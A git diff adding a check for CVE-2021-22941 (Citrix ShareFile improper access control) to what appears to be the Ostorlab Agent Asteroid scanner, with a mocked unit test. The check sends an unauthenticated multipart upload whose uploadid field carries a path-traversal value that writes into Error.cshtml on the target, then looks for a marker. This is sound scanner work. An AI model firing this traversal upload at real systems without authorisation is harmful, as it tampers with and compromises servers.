diff --git a/agent/exploits/__init__.py b/agent/exploits/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/agent/exploits/cve_2021_22941.py b/agent/exploits/cve_2021_22941.py new file mode 100644 index 00000000..61f45dc2 --- /dev/null +++ b/agent/exploits/cve_2021_22941.py @@ -0,0 +1,112 @@ +"""Agent Asteroid implementation for CVE-2021-22941""" + +import requests +from ostorlab.agent.kb import kb +from ostorlab.agent.mixins import agent_report_vulnerability_mixin +from requests import exceptions as requests_exceptions + +from agent import definitions + +VULNERABILITY_TITLE = ( + "Improper Access Control in Citrix ShareFile storage zones controller" +) +VULNERABILITY_REFERENCE = "CVE-2021-22941" +VULNERABILITY_DESCRIPTION = ( + "Improper Access Control in Citrix ShareFile storage zones controller before 5.11.20 may " + "allow an unauthenticated attacker to remotely compromise the storage zones controller." +) + +DEFAULT_TIMEOUT = 90 + + +def _encode_multipart_formdata(files: dict[str, str]) -> tuple[str, str]: + boundary = "boundary" + body = "".join( + f"--{boundary}\r\n" + f'Content-Disposition: form-data; name="{files["name"]}"; filename="{files["filename"]}"\r\n' + "\r\n" + f"{files['content_file']}\r\n" + f"--{boundary}--\r\n" + ) + content_type = f"multipart/form-data; boundary={boundary}" + return body, content_type + + +class CVE20222941Exploit(definitions.Exploit): + """ + CVE-2021-22941: Improper Access Control in Citrix ShareFile storage zones controller + """ + + def accept(self, target: definitions.Target) -> bool: + target_uri = f"{target.scheme}://{target.host}" + try: + req = requests.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT) + except requests_exceptions.RequestException: + return False + return "ShareFile" in req.text + + def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: + target_uri = f"{target.scheme}://{target.host}" + content_file = "A" * 4096 + files = {"name": "text4", "filename": "text5", "content_file": content_file} + data, content_type = _encode_multipart_formdata(files) + headers = {"Content-Type": content_type} + payload = "__VULNERABLE__" + params = { + "uploadid": payload + r"/../../ConfigService\Views\Shared\Error.cshtml", + "bp": "123", + "accountid": "123", + } + try: + requests.post( + target_uri + "/upload.aspx", + data=data, + params=params, + headers=headers, + verify=False, + timeout=DEFAULT_TIMEOUT, + ) + req = requests.get( + target_uri + "/configservice/Home/Error", + verify=False, + timeout=DEFAULT_TIMEOUT, + ) + except requests_exceptions.RequestException: + return [] + if payload not in req.text: + return [] + + vulnerability = self._generate_vulnerability_object(target_uri) + return [vulnerability] + + def _generate_vulnerability_object( + self, target_uri: str + ) -> definitions.Vulnerability: + entry = kb.Entry( + title=VULNERABILITY_TITLE, + risk_rating="HIGH", + short_description=VULNERABILITY_DESCRIPTION, + description=VULNERABILITY_DESCRIPTION, + references={ + "nvd.nist.gov": f"https://nvd.nist.gov/vuln/detail/{VULNERABILITY_REFERENCE}" + }, + recommendation=( + "- Make sure to install the latest security patches from software vendor \n" + "- Update to the latest software version" + ), + security_issue=True, + privacy_issue=False, + has_public_exploit=False, + targeted_by_malware=False, + targeted_by_ransomware=False, + targeted_by_nation_state=False, + ) + technical_detail = ( + f"{target_uri} is vulnerable to {VULNERABILITY_REFERENCE}, " + f"{VULNERABILITY_TITLE}" + ) + vulnerability = definitions.Vulnerability( + entry=entry, + technical_detail=technical_detail, + risk_rating=agent_report_vulnerability_mixin.RiskRating.HIGH, + ) + return vulnerability diff --git a/requirement.txt b/requirement.txt index 5e5905c6..1180728a 100644 --- a/requirement.txt +++ b/requirement.txt @@ -1,2 +1,3 @@ ostorlab[agent] rich +requests diff --git a/tests/exploits_test.py b/tests/exploits_test.py new file mode 100644 index 00000000..4685ccba --- /dev/null +++ b/tests/exploits_test.py @@ -0,0 +1,41 @@ +"""Unit tests for Agent Asteriod exploits""" +import re + +import requests_mock as req_mock + +from agent.exploits import cve_2021_22941 +from agent import definitions + + +def testCVE_2021_22941_whenVulnerable_reportFinding( + requests_mock: req_mock.mocker.Mocker, +) -> None: + """Unit test for CVE-2021-22941, case when target is vulnerable""" + target = definitions.Target(scheme="https", host="75.162.65.52", port=443) + exploit_instance = cve_2021_22941.CVE20222941Exploit() + requests_mock.post(re.compile("https://75.162.65.52")) + requests_mock.get( + re.compile("https://75.162.65.52"), + content=b'' + b'' + b"" + b'' + b'' + b"__VULNERABLE__/../../ConfigService\\Views\\Shared\\Error.cshtml," + b"4190,4190,1,638351359841918992,638351359844106518" + b'' + b"", + ) + + vulnerabilities = exploit_instance.check(target) + vulnerability = vulnerabilities[0] + + assert ( + vulnerability.entry.title + == "Improper Access Control in Citrix ShareFile storage zones controller" + ) + assert ( + vulnerability.technical_detail + == "https://75.162.65.52 is vulnerable to CVE-2021-22941, Improper Access Control " + "in Citrix ShareFile storage zones controller" + ) diff --git a/tests/test-requirement.txt b/tests/test-requirement.txt index a85bde23..80b4a938 100644 --- a/tests/test-requirement.txt +++ b/tests/test-requirement.txt @@ -3,3 +3,5 @@ pytest black mypy typing-extensions +requests_mock +types-requests